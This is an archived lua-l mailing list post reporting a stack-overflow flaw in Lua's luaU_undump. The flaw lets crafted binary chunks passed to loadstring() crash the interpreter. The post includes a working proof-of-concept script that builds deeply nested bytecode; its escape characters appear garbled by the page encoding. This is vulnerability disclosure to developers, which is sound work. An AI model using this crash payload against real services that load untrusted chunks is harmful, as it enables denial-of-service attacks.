lua-users home
lua-l archive

Re: Specially crafted binary chunks can cause Lua to crash

[Date Prev][Date Next][Thread Prev][Thread Next] [Date Index] [Thread Index]


So now I'm really suspicious of loadstring() in the face of malicious
input. luaG_checkcode seems like a really difficult thing to get
right, and your examples seem to back that up.
I have a third loadstring() vulnerability to report, on a slightly
different attack vector. luaU_undump recursively parses its input but
does not respect LUAI_MAXCCALLS, so a maliciously crafted input can
blow the C stack.
Below is proof-of-concept code. Apologies for the opaque
implementation; this code only works on standard x86 builds, and
simulates a deeply nested
 local function a() local function a() local function a() ... end end end
which the compiler won't allow.
Greg F
function crash(depth)
 local init = '27円76円117円97円81円0円1円4円4円4円8円0円7円0円0円0円61円115円116円' ..
 '100円105円110円0円1円0円0円0円1円0円0円0円0円0円0円2円2円0円0円0円36円' ..
 '0円0円0円30円0円128円0円0円0円0円0円1円0円0円0円0円0円0円0円1円0円0円0円' ..
 '1円0円0円0円0円0円0円2円'
 local mid = '1円0円0円0円30円0円128円0円0円0円0円0円0円0円0円0円1円0円0円0円1円0円0円0円0円'
 local fin = '0円0円0円0円0円0円0円2円0円0円0円1円0円0円0円1円0円0円0円1円0円0円0円2円0円' ..
 '0円0円97円0円1円0円0円0円1円0円0円0円0円0円0円0円'
 local lch = '2円0円0円0円36円0円0円0円30円0円128円0円0円0円0円0円1円0円0円0円0円0円0円' ..
 '0円1円0円0円0円1円0円0円0円0円0円0円2円'
 local rch = '0円0円0円0円0円0円0円2円0円0円0円1円0円0円0円1円0円0円0円1円0円0円0円2円0円' ..
 '0円0円97円0円1円0円0円0円1円'
 for i=1,depth do lch,rch = lch..lch,rch..rch end
 loadstring(init .. lch .. mid .. rch .. fin)
end
for i=1,25 do print(i); crash(i) end

AltStyle によって変換されたページ (->オリジナル) /